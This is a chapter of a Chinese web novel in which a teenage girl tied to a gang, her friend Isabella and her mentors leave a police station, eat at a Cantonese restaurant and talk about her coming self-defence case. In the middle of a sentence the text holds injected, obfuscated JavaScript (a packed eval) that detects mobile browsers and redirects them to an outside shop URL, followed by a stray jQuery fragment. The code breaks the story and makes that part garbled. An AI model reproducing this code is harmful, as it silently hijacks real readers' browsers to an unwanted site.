晚上八点半。
陈漠签完最后一份表格，笔搁在柜台上的时候，指尖沾了一点蓝色油墨。郑律师整理好文件塞进公文包，叮嘱她下周三之前去法援办公室一趟，又跟加尔扎警探握了手，便消失在走廊尽头。
伊莎贝拉坐在硬塑料椅上，左脚搁在另一张椅子上，冰袋已经化成了一袋温水。社区诊所的医生给她拍了片子，骨头没事，韧带拉伤，开了消炎药和一卷弹性绷带，嘱咐两天内不要承重。
陈漠从档案窗口走过来，手里拿着一个牛皮纸信封，里面装着案卷复印件和出庭通知书。她在伊莎贝拉面前蹲下来，低头去看她的脚踝。
“还疼吗。”
“不动就不疼。你那边都弄完了？”
“签完了。”
颂蓬弯腰拎起伊莎贝拉脚边那双白色帆布鞋，鞋带已经散了，鞋面上蹭了好几道黑灰，“走了，丁哥在外面等着。你们俩这折腾了一天，饭都没吃。”
陈漠站起来，伊莎贝拉伸手搭上她的肩膀。陈漠已经弯下腰，一只手穿过伊莎贝拉的膝弯，另一只手揽住她的后背，膝盖微屈，腰腹发力，稳稳当当地把人横抱了起来。
伊莎贝拉吓了一跳，“我能自己跳着走……”
“走廊太长。”
颂蓬跟在后面，看着前面两个人的背影，嘴角动了动，想说什么又咽了回去，最后摇了摇头，跟了上去。
警察局门口，丁哥的黑色雪佛兰停在路灯下面，引擎没熄，尾灯在夜色里泛着暗红。阿光靠在车尾抽烟，看到陈漠抱着伊莎贝拉出来，拉开后座车门，把后排座椅上的一箱矿泉水和一件夹克挪到另一边，自己则上了后面的摩托车。
陈漠把伊莎贝拉放进后座。伊莎贝拉的左腿伸直搁在座椅上，右腿自然垂下来，纸袋放在膝盖旁边。陈漠绕到另一边车门坐进去，关上门之后往伊莎贝拉身边挪了挪，两个人之间的距离从一拳缩到一指。
颂蓬拉开副驾驶的门，帆布鞋放在脚垫上，自己坐进去，拉过安全带扣上。丁哥歪头看了一眼后视镜，后座上两个人都没系安全带，一个脚肿着没法正坐，另一个半边身子侧着往对方那边靠。他轻叹了口气，挂挡，松手刹，雪佛兰滑出了第五分局的停车场。
“第五街区和第六街区交界那家，招牌上画着一条红龙那个。”丁哥打了一把方向盘，雪佛兰拐上第五街区的主干道，“周彦推荐的，他说那家的云吞面不错。”
第五街区的街灯比第六街区亮得多，店铺的招牌大多是新的，中餐馆、越南河粉、韩式烤肉、波霸奶茶，每隔几个店面就有一家。八点半的第五街区还很热闹，街边停着不少车，人行道上三三两两地走着人。
陈漠看着窗外，忽然意识到她在这座城市住了八年，第五街区离第六街区只隔着一个街区，但她来这里的次数一只手数得过来。她的生活半径就是家到修车厂、修车厂到第九街区送货、第九街区回第六街区，偶尔去学校，偶尔去便利店。第五街区对她来说太亮了，太安静了，太不像她的地盘了。
红龙餐厅的门面不大，霓虹招牌上盘着一条中国龙。推门进去，空气里飘着猪骨汤和炸蒜蓉的香气，墙上的菜单用红纸黑字写着，云吞面、叉烧饭、干炒牛河、艇仔粥，最下面一行是中文的“全天供应”。老板是个六十出头的广东老头，围着一条围裙，看到丁哥进来冲他点了个头。
五个人围着靠窗的一张圆桌坐下来。丁哥点了云吞面、叉烧拼盘、干炒牛河、蒜蓉芥蓝，又问伊莎贝拉能不能吃辣。伊莎贝拉说我什么都吃。丁哥挑眉看了她一眼，又加了一份椒盐鱿鱼。颂蓬要了一瓶青岛啤酒，阿光跟着也要了一瓶。
面上来得很快。云吞皮薄得透出里面虾仁的粉红色，汤头清亮，浮着几粒葱花和炸蒜蓉。陈漠端了一碗放在伊莎贝拉面前，又从筷筒里抽了一双筷子，用纸巾擦了擦筷尖，递过去。伊莎贝拉接筷子的时候，指尖碰了一下陈漠的虎口。
“你自己也吃。”伊莎贝拉说。
“嗯。”陈漠应了一声，端起另一碗面，低头吃了一口。
丁哥把叉烧往陈漠面前推了推，筷子点了点盘子边沿，“多吃点肉。你今天消耗了不少。”
颂蓬仰头灌了一口啤酒，玻璃杯搁在桌面上，他看了陈漠一眼，“安德烈斯的手术做了三个多小时，膝盖骨碎了一块，医生说他以后右腿会比左腿短一截。走路能走，跑步够呛，更别说追人了。”
“卡拉陪在医院，她妈也从圣何塞赶过来了。瘦高个那几个人录了口供，统一口径说是我们先挑衅的。”阿光在旁边插了一句，手里的筷子夹着一块鱿鱼悬在半空。
“他们的口供没用，”颂蓬说，“药房门口有监控。莫里斯那个老家伙比看起来精，监控角度刚好拍到瘦高个先掏枪，也拍到了安德烈斯伸手去抓伊莎贝拉。加尔扎警探看过监控之后直接跟郑律师说，自卫的认定问题不大。”
“那无证持枪呢？”陈漠问。
“郑律师的意思是把无证持枪和自卫捆绑在一起做紧急避险辩护。你这个年纪，又是第一次涉案，法官大概率会给豁免。最坏的结果也就是几十个小时的社区服务。前提是安德烈斯那边不要翻出什么新花样。不过他现在没有工会撑腰，律师是他自己花钱请的。请不起好的。”
陈漠哦了一声，低头继续吃面。她能感觉到伊莎贝拉在看她，她也知道伊莎贝拉在想什么。今天在第九街区，她当着伊莎贝拉的面开了一枪。枪响的时候伊莎贝拉趴在她怀里，脸埋在她颈窝，耳朵肯定被震得耳鸣了。
“伊莎贝拉。”颂蓬忽然喊她。
伊莎贝拉移开目光，看向颂蓬。
“今天的事，谢谢你。”颂蓬的语气难得地正经起来，他端起啤酒杯，朝伊莎贝拉的方向举了一下，“你在警察局等了她大半天，又做目击证人。你的伤情鉴定对陈漠的案子很重要。我替红蚁谢谢你。”
伊莎贝拉端起面前的冰水，碰了一下颂蓬的啤酒杯，杯沿发出叮的一声脆响，“我不是为了红蚁。”
颂蓬仰头喝完最后一口啤酒，杯子搁在桌上，嘴角浮起一个意味深长的笑，“我知道。”
饭后，丁哥摸出钱包付了账。五个人从红龙餐厅出来。
回到车上。
雪佛兰沿着第六街区的方向驶去，路灯从车窗外面一盏接一盏地滑过去，橘黄色的光在伊莎贝拉的侧脸上明明灭灭地闪过。颂蓬靠着副驾驶的车窗，玻璃上映出他眯着眼睛的倒影。他刚才喝了两瓶啤酒，脸上泛着一层淡淡的酒红。丁哥握着方向盘，车速不快，收音机开着，调在一个播放老式布鲁斯的频道上。
“陈漠。”丁哥喊她。
“嗯。”
“你今天开了枪。”
“我知道。”
“你知道这一枪打出去意味着什么吗。以前你在红蚁跑腿送货，就算被逮了，顶多算个青少年帮派外围，连少管所都进不去。现在你开了枪，在警
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597886|203371||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
察局留了案底，上法庭，就算最后判的是自卫豁免，你的名字也在系统里了。以后你想申请大学、想换身份、想找一份正经工作，人家背景调查一查，看到的是你十六岁那年开枪致人重伤的记录。什么社区大学、州立大学，什么法利小姐说的那些，全都会受到影响。”
车厢里安静了片刻。
“你觉得值得吗。”
陈漠低头看了一眼伊莎贝拉正搭在她的手背上的手指，修长的手指，指甲上还残留着上周涂的透明甲油。她又想起今天在第九街区，伊莎贝拉被抓着头发往后拽的那一瞬间，想起伊莎贝拉咬着下唇忍着不哭出声的表情。
“值得。”
丁哥在后视镜里看了她一眼，没有再说话。
颂蓬在副驾驶上换了个姿势，侧过身来，一条手臂搭在椅背上，耳朵上那根烟被他拿下来夹在指间。
“你那个案子，郑律师说下个月中开庭。在那之前，你要做的事只有三件。第一，继续训练。第二，不要跟安德烈斯那边的人有任何接触。第三，不管谁问你什么，统一口径。你是自卫。对方先掏枪，对方先动手，你是为了保护自己和同伴才开的枪。记住了吗。”
“记住了。”
“郑律师说安德烈斯那几个人请的律师很差，但有一个变数，”烟叼回嘴里，颂蓬又说，“卡拉，安德烈斯的妹妹，她没动手，从头到尾只站在旁边骂了几句。所以她没被起诉，也不会被列为被告。她今天在救护车上拍了安德烈斯的伤口照片，发到了Snapchat和Instagram，配文是你故意谋杀她哥哥。你上网看过了吗。”
伊莎贝拉立刻掏出手机，屏幕亮起来的时候她倒抽了一口冷气。她的Instagram通知栏已经被刷爆了，上百条私信和评论涌进来，大多数是骂她的，骂她是帮凶，骂她装可怜。其中夹杂着几条更恶劣的，卡拉把她和陈漠的照片P在了一起，打了红叉。
“别看了，这些跟你没关系。”陈漠说。
“怎么跟我没关系。”
“跟你有关系的是你的脚踝，你的大学申请。你需要好好画画。”
“陈漠说得对。这些脏东西不值得你看。”颂蓬补充一句。
伊莎贝拉深吸了一口气，抬起眼睛看着颂蓬，她忽然意识到这个教陈漠怎么用膝盖撞断别人肋骨的泰拳教练，今天蹲在地上替她按了冰袋，在警察局走廊里给她买了压缩饼干和水。他帮她的方式跟帮陈漠一模一样，直接把伤害源从视线里移除，动作简单粗暴，道理却都放在里面。
丁哥打了一把方向盘，拐上了第六街区那条坑坑洼洼的人行道。街灯昏黄，路边木结构房子在车窗外慢慢往后退，丹妮丝家门廊上的灯亮着，便利店门口的冰柜搬进了店里，篮球场上空荡荡的。
雪佛兰停在了洛佩兹家门口的车道上。
二楼马特奥的房间亮着灯，客厅的灯也亮着，窗帘后面映出一个高壮的影子在来回走动。
马特奥已经在门口等了好一阵。
丁哥熄了火。颂蓬推开车门下去，拎着白色帆布鞋，放在门廊台阶下面摆正了。阿光也下了车，站在路边活动了一下肩膀。
陈漠拉开车门，绕到另一边，弯腰抱起伊莎贝拉。帆布包背着，消炎药的纸袋夹在两个人身体之间。
“你家灯亮着。”陈漠走上台阶。
“我看见马特奥的影子了，他大概急坏了。”伊莎贝拉说着，伸手按了门铃。